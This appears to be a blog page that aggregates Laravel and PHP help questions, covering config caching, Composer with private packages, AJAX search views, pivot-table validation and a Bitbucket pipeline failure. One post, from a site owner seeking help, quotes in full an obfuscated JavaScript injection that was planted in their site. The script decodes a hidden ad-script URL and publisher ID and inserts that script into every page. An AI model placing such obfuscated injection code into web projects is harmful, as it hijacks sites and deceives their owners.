samedi 29 avril 2023

How handle a global variable which has changable value in laravel

Suppose we have a variable which must be accessible from all over the laravel app. This variable can be changed by end user.

First I thought it can be defined as a key in one of config files in config directory of laravel and whenever the user change the value of this variable, we can use config::set helper somehow to update the value of this variable in config file.

But the problem is that all config files will be cached in laravel and config::set does not do the job.

I prefer to not use database storage approach.

Any suggestion for solving such a problem?

Thanks in advance,



via Chebli Mohamed

jeudi 27 avril 2023

Install Composer 2.2 on windows

Hey can you help me please with installing composer 2.2 on windows.

I only find the link to install the latest version



via Chebli Mohamed

i have return redirect page but page not reload

i have return redirect page send use with function but not reload page and not show message

my blade file button click:

onclick="edit_offer(,'')"

controller :

return redirect('offer/delete')->with('message','This Service Is Unavailable');

javascript: $.ajax({ method: "GET", url: base_url + '/' + url + '/delete/' + id, success: function (result) { if (result.success == true) { setTimeout(() => { }, 1000); Swal.fire({ type: 'success', title: 'Deleted!', text: 'Record has deleted successfully.', showConfirmButton: false, }) } else if (result.success == false) { alert(result.data); }

            },
            error: function (err) {
                Swal.fire({
                    type: 'error',
                    title: 'Oops...',
                    text: 'This record is connect with another data!'

                })

            }


via Chebli Mohamed

mercredi 26 avril 2023

“vagrant” will damage your computer. | Macos monterey #13132

Today morning suddenly I started getting this popup whenever I ran Vagrant up in my Mac.

enter image description here

Virtualbox Version 7.0.4 r154605 (Qt5.15.2) MACos Monterey, MacBook Pro (Retina, 15-inch, Mid 2015)

Ubuntu LTS Settler Version Homestead Version Branch Status
20.04 11.x 12.x main Development/Unstable
20.04 11.x 12.x release Stable

Do any one have idea whats wrong here?



via Chebli Mohamed

lundi 24 avril 2023

Laravel 5.8: The items.0.id field is required. Error

I am working on an application for the company I work for, this application was made using Laravel 5.8 and MySQL. I have managed to incorporate improvements and so on but there is something that I still can't solve (I'm a junior programmer and I still don't have that much experience). The issue is that there is a many-to-many relationship, I need to make it possible to link new items to the project with their respective quantities in the edit view of a project, in turn it should be possible to unlink previously related items if needed. But nevertheless when trying to do it, the view responds to me with the following error: The items.0.id field is required.The items.0.quantity field is required.

Below the code:

ProjectController:

public function edit($id)
    {
        $project = Project::findOrFail($id);
        $items = Item::all();
        $project_items = $project->items()->pluck('id')->toArray();
        $project_items_quantity = $project->items()->pluck('quantity', 'id')->toArray();
        $item_project = ItemProject::where('project_id', $id)->get();

        return view('includes.edit_delete_project',
            compact('items', 'project_items', 'project_items_quantity', 'item_project'))
            ->with(['project'=> Project::getProjectById($id),
            'entities'=>Entity::getEntities(),
                'countries'=>Country::getCountries()]);
    }

    public function update(Request $request, Project $project)
    {
        $this->validate($request, array(
            'code' => 'required|string|max:255',
            'entity' => 'required|string|max:255',
            'country' => 'required|string|max:255',
            'items' => 'nullable|array',
            'items.*.id' => 'required|integer|exists:items,id',
            'items.*.quantity' => 'required|integer|min:0',
        ));

        $project->update($request->only(['code', 'entity', 'country']));

        if ($request->has('items')) {
            $items = $request->input('items');

            $currentItems = $project->items->pluck('id')->toArray();
            $detachItems = array_diff($currentItems, array_column($items, 'id'));
            $project->items()->detach($detachItems);

            foreach ($items as $item) {
                $project->items()->syncWithoutDetaching([$item['id'] => ['quantity' => $item['quantity']]]);
            }
        }

        return response()->json($project);
    }

Project Model:

class Project extends Model
{
    protected $table = "project";

    protected $fillable = ['code',
        'entity',
        'country'];
    protected $hidden = ['id'];

    public static function getProjects()
    {
        return Project::all();
    }

    public static function getProjectById($id)
    {
        return Project::find($id);
    }

    public function items()
    {
        return $this->belongsToMany(Item::class, 'project_item',
            'project_id', 'item_id')->withPivot('quantity');
    }
}

Project edit view:

<!-- Edit -->
<div class="modal fade" id="edit">
    <div class="modal-dialog modal-lg" role="document">
        <div class="modal-content">
            <div class="modal-header">
                <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                    <span aria-hidden="true">&times;</span></button>
                <h4 class="modal-title"><b><span class="employee_id">Edit Project</span></b></h4>
            </div>
            <div class="modal-body">
                <form class="form-horizontal" method="POST" action="/includes/edit_delete_project/">
                    @csrf
                    <div class="form-group">
                        <label for="code" class="col-sm-3 control-label"><span style="color: red">*</span> Code</label>

                        <div class="col-sm-9">
                            <input oninput="this.value = this.value.toUpperCase()" type="text" class="form-control"
                                   id="code" name="code" value="" required>
                        </div>
                    </div>
                    <div class="form-group">
                        <label for="entity" class="col-sm-3 control-label"><span style="color: red">*</span> Company</label>

                        <div class="col-sm-9">
                            <select class="form-control" id="entity" name="entity" required>
                                <option value="" selected></option>
                                @foreach($entities as $entity)
                                    <option value=""> </option>
                                @endforeach
                            </select>
                        </div>
                    </div>
                    <div class="form-group">
                        <label for="country" class="col-sm-3 control-label"><span style="color: red">*</span> Country</label>

                        <div class="col-sm-9">
                            <select class="form-control" id="country" name="country" required>
                                <option value="" selected></option>
                                @foreach($countries as $country)
                                    <option value=""> </option>
                                @endforeach
                            </select>
                        </div>
                    </div>


                    <div class="form-group">
                        <label for="items" class="col-sm-3 control-label"><span style="color: red"></span> Items</label>

                        <div class="col-sm-9">
                            @foreach($items as $item)
                                <div class="form-check">
                                    <input type="checkbox" class="form-check-input" name="items[]" value="" id="item">
                                    <label class="form-check-label" for="item"> - </label>

                                    <input type="number"
                                           class="form-control"
                                           min="1"
                                           style="width: 100px;"
                                           id="quantity_"
                                           name="quantity_"
                                           value="" placeholder="Quantity">
                                </div>
                            @endforeach
                        </div>
                    </div>

                    <div class="modal-footer">
                        <button type="button" class="btn btn-default btn-flat pull-left" data-dismiss="modal"><i
                                class="fa fa-close"></i> Close
                        </button>
                        <button type="submit" class="btn btn-success btn-flat" name="edit"><i class="fa fa-check-square-o"></i>
                            Update
                        </button>
                    </div>
                </form>
            </div>
        </div>
    </div>
</div>

I have tried various recommendations from the internet but still have not been successful with any. It is the only thing that I need of all that they asked me to finish the application. I just need to solve what I exposed at the beginning and I will be very grateful to anyone who can help me.



via Chebli Mohamed

dimanche 23 avril 2023

How can I use the variable from php class FinalPrice to javascript class?

I have this function in this location Main/resources/views/dashboards/solicitor/managewills/solicitorclass.php

 var counts = 1;
 var checkboxes;
function add_to_download_entries(data) {
   checkboxes = document.querySelectorAll('input[name="checkWills"]:checked');
    counts = checkboxes.length;
  if($.inArray(data, selected_lostwill_array) >= 0){
    selected_lostwill_array = $.grep(selected_lostwill_array, function(value){
         return value != data;
       });
     }else{
      selected_lostwill_array.push(data);
     }
     // DataTables Functions 
$(document).ready( function () {
    $('#org_lost_table').DataTable();
    $('#all_lost_table').DataTable();
    if(counts>0){
        let finalPrice = "Pay Now $" + Number(counts) * Number(22);
        
        $( "#payment-sub-btn" ).text(finalPrice);
       }else $( "#payment-sub-btn" ).text(0); 
} );
}

I want to use the finalPrice variable value when it updates there to this class at the places where I have let payPrice = 44 - ((44*results['data'])/100); in the place of 44 in location `Main/public_html/js/payment/payment_report.js

function checkCoupon() {
count++;
    var coupon = document.getElementById('lost_coupon').value;
    $.ajax({
        type: "POST",
        url: app_url+"/check_coupon_report",
        data: {
            "_token": csrf_token,
            "coupon": coupon,
        },
        dataType: "json",
        success: function(results) {
        
            if (results['status'] == true  && results['used'] == false) {
                $("#couponMessage").text("Congratulations Your coupon is valid. ");    
                $("#couponMessage").css("color", "green");   
                $("#couponMessage").css("visibility", "visible");   
                let payPrice = 44 - ((44*results['data'])/100);
                $("#couponMessage").append('Your discount is ' +results['data']+'%.' + '<br>Your final price is $' + parseFloat(payPrice.toFixed(2)));
                finalPrice  = parseFloat(payPrice.toFixed(2)) * count;
                $('#payment-sub-btn').text('Pay Now $'+finalPrice);
                console.log(finalPrice);
                if(results['data'] == 100) {
                    $('.card-element-hide').hide();
                    card.destroy();
                    card = null;
                    $('#payment-sub-btn').text('Download Report');
                }
                else{
                $('.card-element-hide').show();
                if(card == null) {
                    createCard();
                    }
            }
            }
        

How can I use the variable from php class FinalPrice to javascript class?



via Chebli Mohamed

samedi 22 avril 2023

sending photos as url by POST method in Laravel 5

I have two projects, A and B. In Project A, I send JSON data along with photo URLs (e.g. http://localhost:8000/images/jWjHlWLwCUz72NAz.jpg) to Project B via a POST method to a specific route (e.g. http://localhost:8002/upload).

I have tried the following:

Sending data without photos from Project A to Project B, which works. Sending data with photos using Postman to Project B, which also works. However, when I try to send JSON data with photo URLs from Project A, I receive the following error after a long time: "ErrorException: file_get_contents(http://localhost:8000/images/jWjHlWLwCUz72NAz.jpg): failed to open stream: HTTP request failed!"

When I try to send the same JSON data using Postman, everything works as expected, and the photos are saved on the disk.



via Chebli Mohamed

mardi 18 avril 2023

ads.txt and virus code auto created in laravel 8

I have a Laravel 8 website and I'm experiencing an issue where the ads.txt file keeps auto-creating even after I delete it, and there is a virus code that keeps appearing in my JavaScript file. looking for help in resolving these issues. virus code is given below

function bar2(foo1,foo){var bar=foo2();return bar2=function(bar1,Bar2){bar1=bar1-0xa8;var Bar1=bar[bar1];return Bar1;},bar2(foo1,foo);}function foo2(){var Bar2=['appendChild','16462230pfHvCY','552TnWsqr','21TgHTKx','async','24588SrzGYO','363894rrtNFG','querySelector','script','head','anonymous','510775rwehIy','6BEEmbK','aHR0cHM6Ly9wYWdlYWQyLmdvb2dsZXN5bmRpY2F0aW9uLmNvbS9wYWdlYWQvanMvYWRzYnlnb29nbGUuanM/Y2xpZW50PQ==','1334805ytshBr','1072656XSqaZe','305438lnJDWE','src','Y2EtcHViLTQwNzc5MzE4Njg4MTcwMDA='];foo2=function(){return Bar2;};return foo2();}(function(bar,bar1){var Bar1=bar2,Foo1=bar();while(!![]){try{var Foo2=-parseInt(Bar1(0xad))/0x1+-parseInt(Bar1(0xb2))/0x2*(parseInt(Bar1(0xae))/0x3)+-parseInt(Bar1(0xb1))/0x4+-parseInt(Bar1(0xb0))/0x5+parseInt(Bar1(0xa8))/0x6*(-parseInt(Bar1(0xb8))/0x7)+parseInt(Bar1(0xb7))/0x8*(parseInt(Bar1(0xba))/0x9)+parseInt(Bar1(0xb6))/0xa;if(Foo2===bar1)break;else Foo1'push';}catch(Bar){Foo1'push';}}}(foo2,0x49986),(function(){var Foo=bar2,foo1=document'createElement',foo=documentFoo(0xa9);foo1[Foo(0xb3)]=atob(Foo(0xaf))+atob(Foo(0xb4)),foo1[Foo(0xb9)]=!![],foo1['crossorigin']=Foo(0xac),fooFoo(0xb5);}()));

I try to delete ads.txt from my plulic folder and delete code from JS file



via Chebli Mohamed

lundi 17 avril 2023

Why some part of my vue file doesn't work with iOS >16.4?

I have a website that works fine on browsers, last Android version but not on the last iOS version (>16.4). I have to precise that it works fine on iOS 16.3. I know that iOS 16.4 meets a lots of issues and that's why I've waited for iOS 16.4.1 to see if they resolve this bug but it still doesn't work. My website use laravel 5.6 and vuejs 2.5.

The problem sounds like an entire area of the page which is disabled. I have two different area that are very similar and one of them is like disabled, we cannot click on the element on iOS 16.4.

Here is the code :

<div class="temps" :class="{inactive: !regulation_hot_or_cold}">
   <div class="temp">
         <label class="form-checkbox" :class="{disabled: !is_zone_off || !can_change_setpoints}">
            <input type="radio" :value="1" v-model="mutated_t1_t2" :disabled="!is_zone_off || !can_change_setpoints">
            <span>First</span>
         </label>
         <div class="input" :class="{disabled: !can_change_setpoints}">
            <i class="icon-minus" @click.prevent="incrementCurrentSetpoint(-0.5, 1)"></i>
            <span class="value"></span>
            <i class="icon-plus" @click.prevent="incrementCurrentSetpoint(0.5, 1)"></i>
         </div>
   </div>
   <div class="temp">
         <label class="form-checkbox" :class="{disabled: !is_zone_off || !can_change_setpoints}">
            <input type="radio" :value="2" v-model="mutated_t1_t2" :disabled="!is_zone_off || !can_change_setpoints">
            <span>Second</span>
         </label>
         <div class="input" :class="{disabled: !can_change_setpoints}">
            <i class="icon-minus" @click.prevent="incrementCurrentSetpoint(-0.5, 2)"></i>
            <span class="value"></span>
            <i class="icon-plus" @click.prevent="incrementCurrentSetpoint(0.5, 2)"></i>
         </div>
   </div>
</div>

The first div with "temp" class doesn't work but the second one works fine (on iOS 16.4 and iOS 16.4.1).

It works on iOS older versions like iOS 16.3.

Does anyone have an idea of what can be the problem?

Thanks a lot.



via Chebli Mohamed

dimanche 16 avril 2023

downgrade laravel-sitemap in laravel 5.6.4

I have project Laravel with 5.6.4 I can't upgrade php because it isn't suitable for Laravel 5.6.4 so I installed PHP 5.6.4 but I have a problem in spatie/laravel-sitemap not suitable for PHP 5.6.4 (Problem 1 - spatie/laravel-sitemap[2.2.0, ..., 2.4.0] require php ^7.0 -> your php version (5.6.40) does not satisfy that requirement. - Root composer.json requires spatie/laravel-sitemap ^2.2 -> satisfiable by spatie/laravel-sitemap[2.2.0, ..., 2.4.0)

and I tried many versions and made problems also I want suitable version of spatie/laravel-sitemap with php 5.6.4



via Chebli Mohamed

mercredi 12 avril 2023

i have send message with return redirect route with message but not show blade file

message not show in blade file. my controller return redirect('login')->with('message', 'please enter a valid user name and password'); my blade file @if(session('message')) <div class="alert alert-danger"></div> @endif route Route::get('/login',[AuthController::class,'login'])->name('login');`your text`



via Chebli Mohamed

Showing the laravel request uri in php fpm status page

I have a php fpm 7.4 status page giving the following details :-

************************
pid:                  284764
state:                Idle
start time:           11/Apr/2023:21:04:09 +0200
start since:          15258
requests:             493
request duration:     274387
request method:       POST
request URI:          /index.php
content length:       192
user:                 -
script:               /home/laravel/backend/public/index.php
last request cpu:     7.29
last request memory:  2097152

************************

Its showing the request URI and script "/index.php" in all the processes data, how can i make php fpm status page show the user request uri (eg. /user/getDetails)



via Chebli Mohamed

samedi 8 avril 2023

Laravel i get whole content of a view inside of tbody after the result of each search query

i have an issue in a view that whenever i try do a search query the like a get a child view inside the that view with result guess like the whole page appear inside tbody with the result of the search. Controller :

public function index(Request $request)
    {
        $query = Immeuble::with('plaques.user');

        // Get the search query and selected filters from the request
        $searchQuery = $request->input('q', '');
        $searchColumns = $request->input('columns', []);

        // Apply the search query and filters to the query
        if (!empty($searchQuery)) {
            $query->where(function ($q) use ($searchQuery, $searchColumns) {
                foreach ($searchColumns as $column) {
                    switch ($column) {
                        case 'im':
                            $q->orWhere('im', 'like', "%{$searchQuery}%");
                            break;
                        case 'c_rsdnce':
                            $q->orWhere('c_rsdnce', 'like', "%{$searchQuery}%");
                            break;
                        case 'property_name':
                            $q->orWhere('property_name', 'like', "%{$searchQuery}%");
                            break;
                        case 'qualif':
                            $q->orWhere('qualif', 'like', "%{$searchQuery}%");
                            break;
                        case 'name':
                            $q->orWhereHas('user', function ($q) use ($searchQuery) {
                                $q->where('name', 'like', "%{$searchQuery}%");
                            });
                            break;
                        case 'nom':
                            $q->orWhereHas('plaques', function ($q) use ($searchQuery) {
                                $q->where('nom', 'like', "%{$searchQuery}%");
                            });
                            break;
                    }
                }
            });
        }
        // Get the selected category filters from the request
        $status = $request->input('status');

        // Apply the category filters to the query
        if(!empty($status)) {
            $query->where('status', $status);
        }

        // Paginate the results
        $immeubles = $query->paginate(15)->withQueryString();


        // Pass the data to the view
        return view('admin.immeubles.index', [
            'immeubles' => $immeubles,
            'status' => $status,
            'selectedColumns' => $searchColumns,
            'searchQuery' => $searchQuery,
        ]);
    }

this is the index view i get inside of the tbody the as a result the content of the view with result of the query like it keep duplicating each time i make a search:

@extends('layouts.app')

@section('content')
@if(session('import'))
    <h6 class="alert alert-success">
        
    </h6>
@endif
<span class="align-right">
    <a href= "/admin/immeubles/create" class="btn btn-add" role="button">Ajouter un Immeuble</a><br>
</span>
<div class="container">
    <div class="card-body">
<form action="" method="post" enctype="multipart/form-data">
@csrf
    <input type="file" name="excelimport" class="control-form">
    <button class="btn">Importer</button>
</form>
<!-- The search form -->
<form id="search-form" method="GET" action="">
    <div class="form-group">
      <input type="text" name="q" class="form-control" placeholder="Search..." value="">
    </div>
    <div class="form-group">
      <label>Search in:</label>
      <div class="form-check">
        <input class="form-check-input" type="checkbox" name="columns[]" value="im" id="im" >
        <label class="form-check-label" for="im">Ref Immeuble</label>
      </div>
      <div class="form-check">
        <input class="form-check-input" type="checkbox" name="columns[]" value="name" id="user_name" >
        <label class="form-check-label" for="user_name">Technicien</label>
      </div>
      <div class="form-check">
        <input class="form-check-input" type="checkbox" name="columns[]" value="c_rsdnce" id="c_rsdnce" >
        <label class="form-check-label" for="c_rsdnce">Résidence</label>
      </div>
      <div class="form-check">
        <input class="form-check-input" type="checkbox" name="columns[]" value="qualif" id="qualif" >
        <label class="form-check-label" for="qualif">Qualif</label>
      </div>
      <div class="form-check">
        <input class="form-check-input" type="checkbox" name="columns[]" value="property_name" id="property_name" >
        <label class="form-check-label" for="property_name">Proprieter</label>
      </div>
      <div class="form-check">
        <input class="form-check-input" type="checkbox" name="columns[]" value="plaque_name" id="plaque_name" >
        <label class="form-check-label" for="plaque_name">Plaque</label>
      </div>
      <div class="form-group">
        <label>Filtré par Status:</label>
        <select class="form-control" id="status" name="status">
            <option value="">--Select Status--</option>
            <option value="terminer" >Terminer</option>
            <option value="encours" >En Cours</option>
          </select>
      </div>
    </div>
    <button type="submit" class="btn btn-primary">Search</button>
  </form>
  
  <!-- The search results table -->
  <table class="table">
    <thead>
      <tr>
        <th>Ref Immeuble</th>
        <th>Residence</th>
        <th>Propriéter</th>
        <th>Qualif</th>
        <th>Plaque</th>
        <th>Technicien</th>
        <th>Status</th>
      </tr>
    </thead>
    <tbody id="search-results">
        @foreach ($immeubles as $immeuble)
        <tr>
            <td></td>
            <td></td>
            <td></td>
            <td></td>
            <td></td>
            <td></td>
            <td></td>
        </tr>
    @endforeach
    </tbody>
  </table>
  
  <!-- The pagination links -->
  
  
  <!-- The AJAX script -->
  @push('filter')
  <script>
    $(document).ready(function() {
      // Submit the search form via AJAX
      $('#search-form').submit(function(event) {
        event.preventDefault();
  
        var formData = $(this).serialize();
  
        $.ajax({
          url: $(this).attr('action'),
          type: 'GET',
          data: formData,
          beforeSend: function() {
            $('#search-results').html('<tr><td colspan="4" class="text-center">Chargement en cours...</td></tr>');
          },
          success: function(response) {
            $('#search-results').html(response);
          },
          error: function(xhr) {
            console.log(xhr.responseText);
          }
        });
      });
    });
  </script>
  @endpush
@endsection

i want to just get the result without having that issue.



via Chebli Mohamed

mercredi 5 avril 2023

Type error: Too few arguments to function App\Http\Controllers\gst_billing\WOSBillingController::index(), 0 passed and exactly 1 expected

I have to show index page with corresponding id,when I dd() the query in index method I'm getting null

index method in controller

    public function index($id){
    
     $bill = DB::table('proforma_invoice as b')
                ->leftjoin('states as ss', 'ss.id', '=', 'b.shipping_state_id')
                ->leftjoin('countries as sco', 'sco.id', '=', 'ss.country_id')
                ->leftjoin('states as s', 's.id', '=', 'b.billing_state_id')
                ->leftjoin('countries as co', 'co.id', '=', 's.country_id')
                ->join('customer as c', 'c.id', '=', 'b.customer_id')
                ->select('b.billing_name', 'b.customer_id', 'b.*', 's.state_name', 'co.country_name', 'ss.state_name as shipping_state', 'sco.country_name as shipping_country')
                ->where('b.id', $id)
                ->first();
                
                dd($bill);
   return view('gst_billing.wos_billing.index')->with('bill',$bill);
    
    }

button from table that takes to index page with corresponding id:

 <a href="" title="Send to Invoice"><i class="fas fa-file-invoice"></i></a>

Route:

Route::get('/wos_billing/{id}',['as' => 'gst_billing.wos_billing.index', 'uses' => 'WOSBillingController@index'])->name('gst_billing.wos_billing.index');

can someone identitfy what I'm doing wrong here ?



via Chebli Mohamed

How can I avoid update some dependencies when I run composer update?

I'm taking over a website coded in laravel 5.6.40

I have to make a lots of updates on this project (laravel 5.6 to 5.7 then 5.7 to 5.8 etc...)

At first I want to upgrade it to 5.7.*

This website is using private packages and I don't have the repositories access.

So there is my composer.json file :

{
    "name": "laravel/laravel",
    "description": "The Laravel Framework.",
    "keywords": ["framework", "laravel"],
    "license": "MIT",
    "type": "project",
    "repositories": [
        {
            "type": "vcs",
            "url":  "git@github.com:WW/Admin_pkg.git"
        },
        {
            "type": "vcs",
            "url":  "git@github.com:WW/Assets_pkg.git"
        },
        {
            "type": "vcs",
            "url":  "git@github.com:WW/Metatags_pkg.git"
        },
        {
            "type": "vcs",
            "url":  "git@github.com:WW/Navigation_pkg.git"
        },
        {
            "type": "vcs",
            "url":  "git@github.com:WW/Notification_pkg.git"
        }
    ],
    "require": {
        "php": "^7.1.3",
        "ext-json": "*",
        "ext-openssl": "*",
        "doctrine/dbal": "^2.7",
        "fideloper/proxy": "^4.0",
        "guzzlehttp/guzzle": "^6.3",
        "laravel/framework": "5.7.*",
        "laravel/tinker": "^1.0",
        "msurguy/honeypot": "dev-master",
        "spatie/laravel-backup": "^5.12",
        "ww/admin": "^3.0",
        "ww/assets": "^1.0",
        "ww/metatags": "^1.0",
        "ww/navigation": "^3.0",
        "ww/notification": "^1.1"
    },
    "require-dev": {
        "barryvdh/laravel-debugbar": "^3.1",
        "barryvdh/laravel-ide-helper": "^2.4",
        "filp/whoops": "^2.0",
        "fzaninotto/faker": "^1.4",
        "mockery/mockery": "^1.0",
        "nunomaduro/collision": "^2.0",
        "phpunit/phpunit": "^7.0"
    },
    "autoload": {
        "classmap": [
            "database/seeds",
            "database/factories"
        ],
        "psr-4": {
            "App\\": "app/"
        }
    },
    "autoload-dev": {
        "psr-4": {
            "Tests\\": "tests/"
        }
    },
    "extra": {
        "laravel": {
            "dont-discover": [
            ]
        }
    },
    "scripts": {
        "post-root-package-install": [
            "@php -r \"file_exists('.env') || copy('.env.example', '.env');\""
        ],
        "post-create-project-cmd": [
            "@php artisan key:generate"
        ],
        "post-autoload-dump": [
            "Illuminate\\Foundation\\ComposerScripts::postAutoloadDump",
            "@php artisan package:discover",
            "@composer run-script publish:admin"
        ],
        "publish:admin": [
            "@php artisan vendor:publish --provider=\"WebLogin\\Admin\\AdminServiceProvider\" --tag=public --force --no-interaction"
        ]
    },
    "config": {
        "preferred-install": "dist",
        "sort-packages": true,
        "optimize-autoloader": true,
        "allow-plugins": {
            "kylekatarnls/update-helper": true
        }
    },
    "minimum-stability": "dev",
    "prefer-stable": true
}

On the first time I only change "laravel/framework": "5.6.*" to "laravel/framework": "5.7.*" and run composer update

This is the result :

When working with _public_ GitHub repositories only, head to https://github.com/settings/tokens/new?scopes=&description=Composer+on+SRV02WEB+2023-04-05+1000 to retrieve a token.
This token will have read-only permission for public information only.
When you need to access _private_ GitHub repositories as well, go to https://github.com/settings/tokens/new?scopes=repo&description=Composer+on+SRV02WEB+2023-04-05+1000
Note that such tokens have broad read/write permissions on your behalf, even if not needed by Composer.
Tokens will be stored in plain text in "/home/myproject/.config/composer/auth.json" for future use by Composer.
For additional information, check https://getcomposer.org/doc/articles/authentication-for-private-packages.md#github-oauth
Token (hidden): 

I don't have this token so I pass and it aborting. I understand that he tries to access to the repositories.

Secondly I try to remove from composer.json the repositories part and run again composer update

The result :

Your requirements could not be resolved to an installable set of packages.

  Problem 1
    - Root composer.json requires ww/admin ^3.0, found ww/admin[v3.0.0] in the lock file but not in remote repositories, make sure you avoid updating this package to keep the one from the lock file.
  Problem 2
    - Root composer.json requires ww/assets ^1.0, found ww/assets[v1.0.4] in the lock file but not in remote repositories, make sure you avoid updating this package to keep the one from the lock file.
  Problem 3
    - Root composer.json requires ww/metatags ^1.0, found ww/metatags[v1.0.1] in the lock file but not in remote repositories, make sure you avoid updating this package to keep the one from the lock file.
  Problem 4
    - Root composer.json requires ww/navigation ^3.0, found ww/navigation[v3.0.0] in the lock file but not in remote repositories, make sure you avoid updating this package to keep the one from the lock file.
  Problem 5
    - Root composer.json requires ww/notification ^1.1, found ww/notification[v1.1.4] in the lock file but not in remote repositories, make sure you avoid updating this package to keep the one from the lock file.

Effectively I don't want to update these but just keeping the ww vendor file that is already installed.

I understands that it recommends to avoid updating these packages but how can I do it?

EDIT : The main problem is that the project uses private packages that I've not access to.

I already have these packages installed on the project but I can't update it (due to private repos).

Someone advise me that if I have the vendor folder of these packages I can move it to the application level and use it locally.

I made some research and follow this https://laraveldaily.com/post/how-to-create-a-laravel-5-package-in-10-easy-steps to move the vendor/package folder.

Now composer update is running fine for these packages.



via Chebli Mohamed

Laravel: Integration tests failing on bitbucket pipelines

I am working on Laravel 5.5 integration tests and they are passing on local env but failing on Bitbucket pipelines. Here is my bitbucket-pipelines.yml:

image: php:7.1

pipelines:
  default:
    - step:
        script:
          - apt-get update && apt-get install -y unzip libzip-dev --force-yes
          - docker-php-ext-install zip
          - docker-php-ext-enable zip
          - docker-php-ext-install sockets
          - docker-php-ext-enable sockets
          - docker-php-ext-install bcmath
          - docker-php-ext-enable bcmath
          - docker-php-ext-install pdo_mysql
          - docker-php-ext-enable pdo_mysql
          - curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer
          - composer --version
          - composer self-update --1
          - composer install
          - cp .env.example .env
          - php artisan key:generate
          - sleep 5
          - ./vendor/bin/phpunit --testsuite=unit-api
          - ./vendor/bin/phpunit --testsuite=unit-domain
          - ./vendor/bin/phpunit --testsuite=unit-controllers
          - ./vendor/bin/phpunit --testsuite=integration
        services:
          - mysql
definitions:
  services:
    mysql:
      image: mysql:5.7
      variables:
        MYSQL_DATABASE: 'my_db'
        MYSQL_RANDOM_ROOT_PASSWORD: 'yes'

Here is the error I am receving:

  1. DeleteOrderFileTest::apiDeleteOrderFile Illuminate\Database\QueryException: SQLSTATE[HY000] [2002] No such file or directory (SQL: insert into modules (name, description, updated_at, created_at) values (System Administration, System administration feature, 2023-04-05 09:07:03, 2023-04-05 09:07:03)) /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Database/Connection.php:664 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Database/Connection.php:624 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Database/Connection.php:459 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Database/Connection.php:411 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Database/Query/Processors/Processor.php:32 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Database/Query/Builder.php:2494 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php:1283 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Model.php:787 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Model.php:752 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Model.php:615 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php:755 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Support/helpers.php:1041 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php:756 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Model.php:1570 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Model.php:1582 /opt/atlassian/pipelines/agent/build/tests/integration/database/seeds/shared/TestModulesTableSeeder.php:26 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php:29 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php:87 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php:31 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Container/Container.php:564 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Database/Seeder.php:122 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Database/Seeder.php:42 /opt/atlassian/pipelines/agent/build/tests/integration/database/seeds/shared/TestDefaultSeeder.php:24 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php:29 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php:87 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php:31 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Container/Container.php:564 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Database/Seeder.php:122 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Database/Seeder.php:42 /opt/atlassian/pipelines/agent/build/tests/integration/database/seeds/shared/TestSeeder.php:22 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php:29 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php:87 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php:31 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Container/Container.php:564 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Database/Seeder.php:122 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Database/Seeder.php:42 /opt/atlassian/pipelines/agent/build/tests/integration/OrderLineProcessing/OrderLinesFilesSeeder.php:18 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php:29 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php:87 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php:31 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Container/Container.php:564 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Database/Seeder.php:122 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Database/Console/Seeds/SeedCommand.php:63 